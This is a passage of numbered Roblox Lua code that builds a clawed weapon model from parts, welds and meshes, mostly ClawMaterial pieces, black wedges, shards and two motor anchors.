  767. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003))
  768. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  769. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999))
  770. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  771. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1))
  772. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  773. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566))
  774. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1))
  775. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  776. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  777. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1))
  778. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999))
  779. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566))
  780. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1))
  781. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  782. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  783. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  784. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  785. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  786. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  787. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  788. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  789. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  790. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  791. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  792. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  793. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  794. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  795. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  796. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  797. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  798. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  799. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  800. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  801. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  802. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  803. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  804. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  805. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  806. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  807. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  808. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  809. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  810. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  811. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  812. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  813. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  814. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  815. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  816. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  817. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  818. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  819. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  820. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  821. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  822. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  823. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  824. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  825. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  826. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  827. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  828. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  829. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  830. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  831. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  832. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  833. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  834. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  835. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  836. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  837. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  838. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  839. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  840. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  841. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  842. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  843. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  844. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  845. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  846. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  847. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  848. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  849. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  850. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  851. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  852. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  853. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  854. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  855. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  856. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  857. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  858. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  859. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  860. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  861. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  862. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  863. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  864. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  865. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  866. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  867. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  868. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  869. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  870. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  871. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  872. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  873. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  874. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  875. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  876. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  877. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  878. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  879. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  880. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  881. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  882. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  883. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  884. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  885. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  886. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  887. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  888. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  889. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  890. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  891. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  892. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  893. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  894. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  895. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  896. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  897. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  898. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  899. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  900. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  901. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  902. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  903. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  904. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  905. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  906. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  907. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  908. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  909. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  910. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  911. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  912. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  913. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  914. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
